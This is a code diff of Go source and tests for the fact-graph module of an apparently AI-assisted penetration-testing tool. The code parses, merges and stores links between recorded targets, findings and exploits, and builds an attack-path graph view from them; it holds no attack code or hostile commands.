if j > i+1 && strings.TrimSpace(lines[j-1]) == "" && strings.HasPrefix(strings.TrimSpace(lines[j]), "## ") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
out = append(out, block)
|
||||||
|
i = j - 1
|
||||||
|
replaced = true
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, lines[i])
|
||||||
|
}
|
||||||
|
if !replaced {
|
||||||
|
if !inAssoc {
|
||||||
|
out = append(out, "", "## 关联", block)
|
||||||
|
} else {
|
||||||
|
out = append(out, block)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(strings.Join(out, "\n"))
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatBodySyncLinksBlock(edges []*database.ProjectFactEdge) string {
|
||||||
|
if len(edges) == 0 {
|
||||||
|
return fmt.Sprintf("- %s:\n (暂无)", bodySyncLinksHead)
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("- ")
|
||||||
|
b.WriteString(bodySyncLinksHead)
|
||||||
|
b.WriteString(":\n")
|
||||||
|
for _, e := range edges {
|
||||||
|
b.WriteString(fmt.Sprintf(" - %s: %s\n", e.EdgeType, e.SourceFactKey))
|
||||||
|
}
|
||||||
|
return strings.TrimRight(b.String(), "\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveFactLinksForUpsert 合并显式 links、links_text 与 body 解析结果。
|
||||||
|
func ResolveFactLinksForUpsert(explicit []database.ProjectFactEdgeFromInput, linksText *string, body string, explicitSet bool) ([]database.ProjectFactEdgeFromInput, bool, error) {
|
||||||
|
if explicitSet {
|
||||||
|
if len(explicit) > 0 {
|
||||||
|
return explicit, true, nil
|
||||||
|
}
|
||||||
|
if linksText != nil {
|
||||||
|
parsed, err := ParseFactLinksText(*linksText)
|
||||||
|
if err != nil {
|
||||||
|
return nil, true, err
|
||||||
|
}
|
||||||
|
if parsed == nil {
|
||||||
|
return []database.ProjectFactEdgeFromInput{}, true, nil
|
||||||
|
}
|
||||||
|
return parsed, true, nil
|
||||||
|
}
|
||||||
|
return []database.ProjectFactEdgeFromInput{}, true, nil
|
||||||
|
}
|
||||||
|
if parsed := ParseLinksFromBody(body); len(parsed) > 0 {
|
||||||
|
return parsed, true, nil
|
||||||
|
}
|
||||||
|
return nil, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// MergeLinkFromInputsUnique 合并多组 from 入边输入并去重。
|
||||||
|
func MergeLinkFromInputsUnique(groups ...[]database.ProjectFactEdgeFromInput) []database.ProjectFactEdgeFromInput {
|
||||||
|
seen := map[string]struct{}{}
|
||||||
|
var out []database.ProjectFactEdgeFromInput
|
||||||
|
for _, g := range groups {
|
||||||
|
for _, in := range g {
|
||||||
|
sig := in.Type + "\x00" + in.From
|
||||||
|
if _, ok := seen[sig]; ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := database.ValidateProjectFactEdgeType(in.Type); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := database.ValidateFactKey(in.From); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[sig] = struct{}{}
|
||||||
|
out = append(out, in)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// MergeLinkInputsUnique 合并多组 link 输入并去重(内部出边写入用)。
|
||||||
|
func MergeLinkInputsUnique(groups ...[]database.ProjectFactEdgeInput) []database.ProjectFactEdgeInput {
|
||||||
|
seen := map[string]struct{}{}
|
||||||
|
var out []database.ProjectFactEdgeInput
|
||||||
|
for _, g := range groups {
|
||||||
|
for _, in := range g {
|
||||||
|
sig := in.Type + "\x00" + in.To
|
||||||
|
if _, ok := seen[sig]; ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := database.ValidateProjectFactEdgeType(in.Type); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := database.ValidateFactKey(in.To); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[sig] = struct{}{}
|
||||||
|
out = append(out, in)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseLinksFromBodyDependsOn(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
body := "## 关联\n- 依赖事实: target/api\n- 相关 fact_key: auth/session"
|
||||||
|
links := ParseLinksFromBody(body)
|
||||||
|
if len(links) != 2 {
|
||||||
|
t.Fatalf("want 2 links, got %d", len(links))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSyncBodyLinksSection(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
body := "## 结论\nx\n\n## 关联\n- 依赖事实: old/key"
|
||||||
|
edges := []*database.ProjectFactEdge{{EdgeType: "discovered_on", SourceFactKey: "target/a"}}
|
||||||
|
out := SyncBodyLinksSection(body, edges)
|
||||||
|
if !strings.Contains(out, "discovered_on: target/a") {
|
||||||
|
t.Fatalf("missing synced edge: %q", out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFactGraphIntegration(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
dbPath := filepath.Join(dir, "test.db")
|
||||||
|
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&database.Project{Name: "g"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, spec := range []struct{ key, cat, summary string }{
|
||||||
|
{"target/root", "target", "root"},
|
||||||
|
{"finding/x", "finding", "finding x"},
|
||||||
|
} {
|
||||||
|
_, err := db.UpsertProjectFact(&database.ProjectFact{
|
||||||
|
ProjectID: p.ID, FactKey: spec.key, Category: spec.cat, Summary: spec.summary, Confidence: "confirmed",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := db.ReplaceIncomingProjectFactEdges(p.ID, "finding/x", []database.ProjectFactEdgeFromInput{
|
||||||
|
{From: "target/root", Type: "discovered_on"},
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
graph, err := BuildProjectFactGraph(db, p.ID, "path", true)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(graph.Nodes) < 2 || len(graph.Edges) < 1 {
|
||||||
|
t.Fatalf("expected graph nodes/edges, got %d/%d", len(graph.Nodes), len(graph.Edges))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,407 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/projectprompt"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PathGraphCategories 攻击路径视图包含的事实分类。
|
||||||
|
var PathGraphCategories = map[string]struct{}{
|
||||||
|
FactCategoryTarget: {},
|
||||||
|
FactCategoryFinding: {},
|
||||||
|
FactCategoryChain: {},
|
||||||
|
FactCategoryExploit: {},
|
||||||
|
FactCategoryPOC: {},
|
||||||
|
"vuln": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
// GraphNodeType 将 fact category 映射为图节点类型(供前端样式与 ELK 分层)。
|
||||||
|
// 优先使用 category;仅 synthetic 节点(vuln:)或无 category 时才回退到 fact_key 前缀。
|
||||||
|
func GraphNodeType(category, factKey string) string {
|
||||||
|
key := strings.ToLower(strings.TrimSpace(factKey))
|
||||||
|
if strings.HasPrefix(key, "vuln:") {
|
||||||
|
return "vulnerability"
|
||||||
|
}
|
||||||
|
c := strings.ToLower(strings.TrimSpace(category))
|
||||||
|
if c != "" {
|
||||||
|
switch c {
|
||||||
|
case FactCategoryTarget:
|
||||||
|
return "target"
|
||||||
|
case FactCategoryExploit:
|
||||||
|
return "exploit"
|
||||||
|
case FactCategoryPOC:
|
||||||
|
return "poc"
|
||||||
|
case FactCategoryChain:
|
||||||
|
return "chain"
|
||||||
|
case FactCategoryFinding:
|
||||||
|
return "finding"
|
||||||
|
case "vuln":
|
||||||
|
return "vulnerability"
|
||||||
|
case FactCategoryAuth:
|
||||||
|
return "auth"
|
||||||
|
case FactCategoryInfra, FactCategoryBusiness:
|
||||||
|
return "infra"
|
||||||
|
case FactCategoryNote:
|
||||||
|
return "note"
|
||||||
|
case "missing":
|
||||||
|
return "missing"
|
||||||
|
default:
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
}
|
||||||
|
switch {
|
||||||
|
case strings.HasPrefix(key, "target/"):
|
||||||
|
return "target"
|
||||||
|
case strings.HasPrefix(key, "exploit/"), strings.HasPrefix(key, "evidence/"):
|
||||||
|
return "exploit"
|
||||||
|
case strings.HasPrefix(key, "poc/"):
|
||||||
|
return "poc"
|
||||||
|
case strings.HasPrefix(key, "chain/"):
|
||||||
|
return "chain"
|
||||||
|
case strings.HasPrefix(key, "finding/"):
|
||||||
|
return "finding"
|
||||||
|
case strings.HasPrefix(key, "auth/"):
|
||||||
|
return "auth"
|
||||||
|
case strings.HasPrefix(key, "infra/"), strings.HasPrefix(key, "business/"):
|
||||||
|
return "infra"
|
||||||
|
default:
|
||||||
|
return "note"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateGraphLabel(summary string, maxRunes int) string {
|
||||||
|
summary = strings.TrimSpace(summary)
|
||||||
|
if summary == "" {
|
||||||
|
return "—"
|
||||||
|
}
|
||||||
|
r := []rune(summary)
|
||||||
|
if len(r) <= maxRunes {
|
||||||
|
return summary
|
||||||
|
}
|
||||||
|
return string(r[:maxRunes]) + "…"
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildProjectFactGraph 构建项目事实图(nodes + edges)。
|
||||||
|
func BuildProjectFactGraph(db *database.DB, projectID string, view string, excludeDeprecated bool) (*database.ProjectFactGraph, error) {
|
||||||
|
if db == nil {
|
||||||
|
return nil, fmt.Errorf("database 未初始化")
|
||||||
|
}
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return nil, fmt.Errorf("project_id 不能为空")
|
||||||
|
}
|
||||||
|
|
||||||
|
view = strings.TrimSpace(strings.ToLower(view))
|
||||||
|
if view == "" {
|
||||||
|
view = "path"
|
||||||
|
}
|
||||||
|
|
||||||
|
filter := database.ProjectFactListFilter{}
|
||||||
|
if excludeDeprecated {
|
||||||
|
filter.ExcludeDeprecated = true
|
||||||
|
}
|
||||||
|
facts, err := db.ListProjectFacts(projectID, filter, 1000, 0)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
edges, err := db.ListProjectFactEdgesByProject(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if excludeDeprecated {
|
||||||
|
edges = filterDeprecatedEdges(edges)
|
||||||
|
}
|
||||||
|
|
||||||
|
factByKey := make(map[string]*database.ProjectFact, len(facts))
|
||||||
|
for _, f := range facts {
|
||||||
|
factByKey[f.FactKey] = f
|
||||||
|
}
|
||||||
|
|
||||||
|
pathMode := view == "path"
|
||||||
|
nodeKeys := make(map[string]struct{})
|
||||||
|
|
||||||
|
if pathMode {
|
||||||
|
for _, f := range facts {
|
||||||
|
if isPathGraphFact(f.Category, f.FactKey) {
|
||||||
|
nodeKeys[f.FactKey] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 路径视图中保留作为依赖目标的 auth/infra 节点
|
||||||
|
for _, e := range edges {
|
||||||
|
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if f, ok := factByKey[e.TargetFactKey]; ok && isDependencyGraphFact(f.Category, f.FactKey) {
|
||||||
|
nodeKeys[e.TargetFactKey] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
for _, f := range facts {
|
||||||
|
nodeKeys[f.FactKey] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 边上引用的 endpoint 纳入节点集
|
||||||
|
for _, e := range edges {
|
||||||
|
if pathMode {
|
||||||
|
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := nodeKeys[e.TargetFactKey]; ok {
|
||||||
|
// already included
|
||||||
|
} else if f, ok := factByKey[e.TargetFactKey]; !ok {
|
||||||
|
nodeKeys[e.TargetFactKey] = struct{}{} // 占位节点
|
||||||
|
} else if isPathGraphFact(f.Category, f.FactKey) || isDependencyGraphFact(f.Category, f.FactKey) {
|
||||||
|
nodeKeys[e.TargetFactKey] = struct{}{}
|
||||||
|
} else {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
nodeKeys[e.SourceFactKey] = struct{}{}
|
||||||
|
nodeKeys[e.TargetFactKey] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nodes := make([]database.ProjectFactGraphNode, 0, len(nodeKeys))
|
||||||
|
for key := range nodeKeys {
|
||||||
|
if f, ok := factByKey[key]; ok {
|
||||||
|
nodes = append(nodes, database.ProjectFactGraphNode{
|
||||||
|
ID: f.FactKey,
|
||||||
|
FactKey: f.FactKey,
|
||||||
|
Category: f.Category,
|
||||||
|
Label: truncateGraphLabel(f.Summary, 48),
|
||||||
|
Summary: strings.TrimSpace(f.Summary),
|
||||||
|
Confidence: f.Confidence,
|
||||||
|
Type: GraphNodeType(f.Category, f.FactKey),
|
||||||
|
Pinned: f.Pinned,
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
nodes = append(nodes, database.ProjectFactGraphNode{
|
||||||
|
ID: key,
|
||||||
|
FactKey: key,
|
||||||
|
Category: "missing",
|
||||||
|
Label: key,
|
||||||
|
Confidence: "tentative",
|
||||||
|
Type: "missing",
|
||||||
|
Pinned: false,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
graphEdges := make([]database.ProjectFactGraphEdge, 0, len(edges))
|
||||||
|
for _, e := range edges {
|
||||||
|
if pathMode {
|
||||||
|
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := nodeKeys[e.TargetFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if _, ok := nodeKeys[e.SourceFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := nodeKeys[e.TargetFactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
graphEdges = append(graphEdges, database.ProjectFactGraphEdge{
|
||||||
|
ID: e.ID,
|
||||||
|
Source: e.SourceFactKey,
|
||||||
|
Target: e.TargetFactKey,
|
||||||
|
Type: e.EdgeType,
|
||||||
|
Confidence: e.Confidence,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// related_vulnerability_id 合成边(source=fact → target=vuln:<id>)
|
||||||
|
for _, f := range facts {
|
||||||
|
if _, ok := nodeKeys[f.FactKey]; !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
vid := strings.TrimSpace(f.RelatedVulnerabilityID)
|
||||||
|
if vid == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
vulnNodeID := "vuln:" + vid
|
||||||
|
if _, exists := nodeKeys[vulnNodeID]; !exists {
|
||||||
|
nodeKeys[vulnNodeID] = struct{}{}
|
||||||
|
label := "漏洞"
|
||||||
|
if len(vid) >= 8 {
|
||||||
|
label += " " + vid[:8] + "…"
|
||||||
|
} else {
|
||||||
|
label += " " + vid
|
||||||
|
}
|
||||||
|
nodes = append(nodes, database.ProjectFactGraphNode{
|
||||||
|
ID: vulnNodeID,
|
||||||
|
FactKey: vulnNodeID,
|
||||||
|
Category: "vuln",
|
||||||
|
Label: label,
|
||||||
|
Confidence: f.Confidence,
|
||||||
|
Type: "vulnerability",
|
||||||
|
Pinned: false,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
graphEdges = append(graphEdges, database.ProjectFactGraphEdge{
|
||||||
|
ID: "vuln-link:" + f.FactKey + ":" + vid,
|
||||||
|
Source: f.FactKey,
|
||||||
|
Target: vulnNodeID,
|
||||||
|
Type: "links_vuln",
|
||||||
|
Confidence: f.Confidence,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
return &database.ProjectFactGraph{Nodes: nodes, Edges: graphEdges}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func min(a, b int) int {
|
||||||
|
if a < b {
|
||||||
|
return a
|
||||||
|
}
|
||||||
|
return b
|
||||||
|
}
|
||||||
|
|
||||||
|
func isPathGraphFact(category, factKey string) bool {
|
||||||
|
c := strings.ToLower(strings.TrimSpace(category))
|
||||||
|
if _, ok := PathGraphCategories[c]; ok {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if c != "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
key := strings.ToLower(strings.TrimSpace(factKey))
|
||||||
|
for _, p := range []string{"target/", "finding/", "chain/", "exploit/", "poc/", "evidence/"} {
|
||||||
|
if strings.HasPrefix(key, p) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func isDependencyGraphFact(category, factKey string) bool {
|
||||||
|
c := strings.ToLower(strings.TrimSpace(category))
|
||||||
|
if c == FactCategoryAuth || c == FactCategoryInfra || c == FactCategoryBusiness {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
if c != "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
key := strings.ToLower(strings.TrimSpace(factKey))
|
||||||
|
return strings.HasPrefix(key, "auth/") || strings.HasPrefix(key, "infra/") || strings.HasPrefix(key, "business/")
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterDeprecatedEdges(edges []*database.ProjectFactEdge) []*database.ProjectFactEdge {
|
||||||
|
out := make([]*database.ProjectFactEdge, 0, len(edges))
|
||||||
|
for _, e := range edges {
|
||||||
|
if strings.EqualFold(strings.TrimSpace(e.Confidence), "deprecated") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, e)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParsedFactLinks 解析 links 参数(from → 当前 fact)。
|
||||||
|
type ParsedFactLinks struct {
|
||||||
|
Incoming []database.ProjectFactEdgeFromInput
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseFactLinkInputs 从 MCP links 参数解析;空数组表示清空全部入边。
|
||||||
|
func ParseFactLinkInputs(raw interface{}) (*ParsedFactLinks, error) {
|
||||||
|
if raw == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
items, ok := raw.([]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("links 须为数组")
|
||||||
|
}
|
||||||
|
if len(items) == 0 {
|
||||||
|
return &ParsedFactLinks{
|
||||||
|
Incoming: []database.ProjectFactEdgeFromInput{},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
parsed := &ParsedFactLinks{}
|
||||||
|
for i, item := range items {
|
||||||
|
m, ok := item.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("links[%d] 格式无效", i)
|
||||||
|
}
|
||||||
|
from, _ := m["from"].(string)
|
||||||
|
edgeType, _ := m["type"].(string)
|
||||||
|
from = strings.TrimSpace(from)
|
||||||
|
edgeType = strings.TrimSpace(edgeType)
|
||||||
|
if from == "" {
|
||||||
|
return nil, fmt.Errorf("links[%d] 须含 from", i)
|
||||||
|
}
|
||||||
|
if edgeType == "" {
|
||||||
|
return nil, fmt.Errorf("links[%d] 须含 type", i)
|
||||||
|
}
|
||||||
|
conf, _ := m["confidence"].(string)
|
||||||
|
parsed.Incoming = append(parsed.Incoming, database.ProjectFactEdgeFromInput{
|
||||||
|
From: from, Type: edgeType, Confidence: strings.TrimSpace(conf),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return parsed, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseFactLinksText 解析 UI 文本:`type: source_fact_key` 每行一条(from 语义)。
|
||||||
|
func ParseFactLinksText(text string) ([]database.ProjectFactEdgeFromInput, error) {
|
||||||
|
return ParseFactIncomingLinksText(text)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatFactLinksText 将入边格式化为 UI 文本。
|
||||||
|
func FormatFactLinksText(edges []*database.ProjectFactEdge) string {
|
||||||
|
return FormatFactIncomingLinksText(edges)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseFactIncomingLinksText 解析 UI 入边文本:`type: source_fact_key` 每行一条。
|
||||||
|
func ParseFactIncomingLinksText(text string) ([]database.ProjectFactEdgeFromInput, error) {
|
||||||
|
text = strings.TrimSpace(text)
|
||||||
|
if text == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
var out []database.ProjectFactEdgeFromInput
|
||||||
|
for i, line := range strings.Split(text, "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
edgeType, source, ok := strings.Cut(line, ":")
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("第 %d 行格式无效,应为 type: fact_key", i+1)
|
||||||
|
}
|
||||||
|
edgeType = strings.TrimSpace(edgeType)
|
||||||
|
source = strings.TrimSpace(source)
|
||||||
|
if edgeType == "" || source == "" {
|
||||||
|
return nil, fmt.Errorf("第 %d 行 type 或 fact_key 为空", i+1)
|
||||||
|
}
|
||||||
|
out = append(out, database.ProjectFactEdgeFromInput{From: source, Type: edgeType})
|
||||||
|
}
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatFactIncomingLinksText 将入边格式化为 UI 文本。
|
||||||
|
func FormatFactIncomingLinksText(edges []*database.ProjectFactEdge) string {
|
||||||
|
if len(edges) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
for i, e := range edges {
|
||||||
|
if i > 0 {
|
||||||
|
b.WriteByte('\n')
|
||||||
|
}
|
||||||
|
b.WriteString(e.EdgeType)
|
||||||
|
b.WriteString(": ")
|
||||||
|
b.WriteString(e.SourceFactKey)
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// FactEdgeRecordingGuidance 写入边时的 Agent 规范。
|
||||||
|
func FactEdgeRecordingGuidance() string {
|
||||||
|
return projectprompt.FactEdgeRecordingGuidance()
|
||||||
|
}
|
||||||
@@ -0,0 +1,96 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ApplyFactOutgoingLinks 替换某事实的出边(links 为 nil 时不修改)。
|
||||||
|
func ApplyFactOutgoingLinks(db *database.DB, projectID, sourceFactKey, sourceConversationID string, links []database.ProjectFactEdgeInput) error {
|
||||||
|
if links == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return db.ReplaceOutgoingProjectFactEdges(projectID, sourceFactKey, sourceConversationID, links)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveFactLinkInputs 合并 links 数组与 links_text 文本(数组优先)。
|
||||||
|
func ResolveFactLinkInputs(links []database.ProjectFactEdgeFromInput, linksText string) ([]database.ProjectFactEdgeFromInput, error) {
|
||||||
|
if len(links) > 0 {
|
||||||
|
return links, nil
|
||||||
|
}
|
||||||
|
return ParseFactLinksText(linksText)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ApplyFactIncomingLinks 替换某事实的入边(links 为 nil 时不修改)。
|
||||||
|
func ApplyFactIncomingLinks(db *database.DB, projectID, targetFactKey string, links []database.ProjectFactEdgeFromInput) error {
|
||||||
|
if links == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return db.ReplaceIncomingProjectFactEdges(projectID, targetFactKey, links)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersistFactIncomingLinks 写入入边并可选同步当前事实 body「关联」段。
|
||||||
|
func PersistFactIncomingLinks(db *database.DB, projectID, targetFactKey string, links []database.ProjectFactEdgeFromInput, syncBody bool) error {
|
||||||
|
if links == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if err := ApplyFactIncomingLinks(db, projectID, targetFactKey, links); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !syncBody {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
f, err := db.GetProjectFactByKey(projectID, targetFactKey)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
in, err := db.ListIncomingProjectFactEdges(projectID, targetFactKey)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
f.Body = SyncBodyLinksSection(f.Body, in)
|
||||||
|
_, err = db.UpsertProjectFact(f)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersistFactLinksFromParsed 写入解析后的 links(parsed 为 nil 表示不修改)。
|
||||||
|
func PersistFactLinksFromParsed(db *database.DB, projectID, factKey, sourceConversationID string, parsed *ParsedFactLinks, syncBody bool) error {
|
||||||
|
if parsed == nil || parsed.Incoming == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return PersistFactIncomingLinks(db, projectID, factKey, parsed.Incoming, syncBody)
|
||||||
|
}
|
||||||
|
|
||||||
|
// PersistFactOutgoingLinks 写入出边(图连线等低层 API;body 同步请用 PersistFactIncomingLinks)。
|
||||||
|
func PersistFactOutgoingLinks(db *database.DB, projectID, sourceFactKey, sourceConversationID string, links []database.ProjectFactEdgeInput, syncBody bool) error {
|
||||||
|
if links == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return ApplyFactOutgoingLinks(db, projectID, sourceFactKey, sourceConversationID, links)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LinkCountMap 项目内各 fact 的入/出边计数。
|
||||||
|
type LinkCountMap map[string]LinkCounts
|
||||||
|
|
||||||
|
// LinkCounts 单 fact 的入/出边数。
|
||||||
|
type LinkCounts struct {
|
||||||
|
Outgoing int `json:"outgoing"`
|
||||||
|
Incoming int `json:"incoming"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadProjectFactLinkCounts 批量加载边计数。
|
||||||
|
func LoadProjectFactLinkCounts(db *database.DB, projectID string) (LinkCountMap, error) {
|
||||||
|
edges, err := db.ListProjectFactEdgesByProject(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
m := LinkCountMap{}
|
||||||
|
for _, e := range edges {
|
||||||
|
c := m[e.SourceFactKey]
|
||||||
|
c.Outgoing++
|
||||||
|
m[e.SourceFactKey] = c
|
||||||
|
c = m[e.TargetFactKey]
|
||||||
|
c.Incoming++
|
||||||
|
m[e.TargetFactKey] = c
|
||||||
|
}
|
||||||
|
return m, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,296 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseFactLinksText(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
inputs, err := ParseFactLinksText("discovered_on: target/api\nleads_to: finding/swagger")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(inputs) != 2 {
|
||||||
|
t.Fatalf("want 2 links, got %d", len(inputs))
|
||||||
|
}
|
||||||
|
if inputs[0].Type != "discovered_on" || inputs[0].From != "target/api" {
|
||||||
|
t.Fatalf("unexpected first link: %+v", inputs[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseFactIncomingLinksText(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
inputs, err := ParseFactIncomingLinksText("leads_to: finding/swagger\ndepends_on: target/api")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(inputs) != 2 {
|
||||||
|
t.Fatalf("want 2 links, got %d", len(inputs))
|
||||||
|
}
|
||||||
|
if inputs[0].Type != "leads_to" || inputs[0].From != "finding/swagger" {
|
||||||
|
t.Fatalf("unexpected first link: %+v", inputs[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatFactIncomingLinksText(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
text := FormatFactIncomingLinksText([]*database.ProjectFactEdge{
|
||||||
|
{EdgeType: "leads_to", SourceFactKey: "finding/a"},
|
||||||
|
